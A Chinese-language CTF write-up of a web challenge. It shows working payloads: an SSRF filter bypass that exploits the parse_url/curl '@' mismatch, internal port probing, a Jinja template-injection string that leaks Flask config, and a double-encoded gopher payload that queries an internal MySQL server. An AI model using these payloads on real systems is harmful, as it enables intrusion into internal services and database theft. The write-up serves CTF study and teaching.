入群题已经换了,这篇WP取消密码
WEB:
http://ctf473831530.yulige.top:12345/
请不要使用扫描器orz...
Tips1: flag.php
Tips2: 常见端口
打开给出源码
<?php highlight_file(__FILE__); function check_inner_ip($url) { $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url); if (!$match_result) { die('url fomat error'); } try { $url_parse=parse_url($url); } catch(Exception $e) { die('url fomat error'); return false; } $hostname=$url_parse['host']; $ip=gethostbyname($hostname); $int_ip=ip2long($ip); return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; } function safe_request_url($url) { if (check_inner_ip($url)) { echo $url.' is inner ip'; } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url']) { safe_request_url($result_info['redirect_url']); } curl_close($ch); var_dump($output); } } $url = $_GET['url']; if(!empty($url)){ safe_request_url($url); } ?>
看到了熟悉的东西parse_url和curl_exec
parse_url中获取的host是最后一个@符号后面的host,而libcurl则是获取的第一个@符号之后的
所以可以通过url=http://@127.0.0.1:80@www.baidu.com绕过check_inner_ip并访问本地服务器
发现源码打印了两次,说明成功访问了本地服务器
hint1说flag.php
所以访问url=http://@127.0.0.1:80@www.baidu.com/flag.php (路径放在后面,如果放在前面,会parse_url解析把127.0.0.1当作host)
得到一个网段172.11.243.0/24
hint2又说常见端口
使用burpsuite的intruder进行探测
找到一个flask服务(172.11.243.81:8080)和两个mysql服务(172.11.243.1:3306和172.11.243.218:3306)
在flask提供了源码
import flask import os app = flask.Flask(__name__) app.config['HINT'] = os.environ.pop('HINT') @app.route('/') def index(): return open(__file__).read() @app.route('/yulige/') def yulige(yulige): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s return flask.render_template_string(safe_jinja(yulige)) if __name__ == '__main__': app.run("0.0.0.0",port=8080)
可以看到有hint放在了config中,显然是需要用ssti获取hint
然而(、)被替换为空,config以及self都会被set None
查一下ssti,参考这篇文章
通过
{{url_for.__globals__[%27current_app%27].config[%27HINT%27]}}
获取hint:
拿到了mysql的用户名,显然是要我们拿到数据库里的一些东西
刚才我们已经扫出来两个mysql服务
其中172.11.243.1:3306提示:
Host '172.11.243.172' is not allowed to connect to this MySQL server
估计是没用了
所以要从172.11.243.218:3306下手
回忆一下,最开始的源码中允许使用gopher协议,刚好前几天复现了一下在ssrf中利用gopher协议攻击mysql数据库的情况,所以马上想到了利用gopher进行攻击,原理可以参考这篇文章
推荐一个工具,可以比较方便地生成payload(否则就得自己开wireshark手动抓+写个脚本转化格式)
接下来就是脱裤拿flag了,依次库(fla4441111g)、表(F1111llllggggg)、字段(flag)
另外注意这是通过跳板打mysql,所以要双重url encode
最终payload:
url=gopher://172.11.243.218:3306/_%25ae%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2579%2575%256c%2569%2567%2565%2565%2565%2565%2531%2532%2533%2533%2532%2531%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%252d%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2566%256c%2561%2567%2520%2566%2572%256f%256d%2520%2566%256c%2561%2534%2534%2534%2531%2531%2531%2531%2567%252e%2546%2531%2531%2531%2531%256c%256c%256c%256c%2567%2567%2567%2567%2567%253b%2501%2500%2500%2500%2501
getflag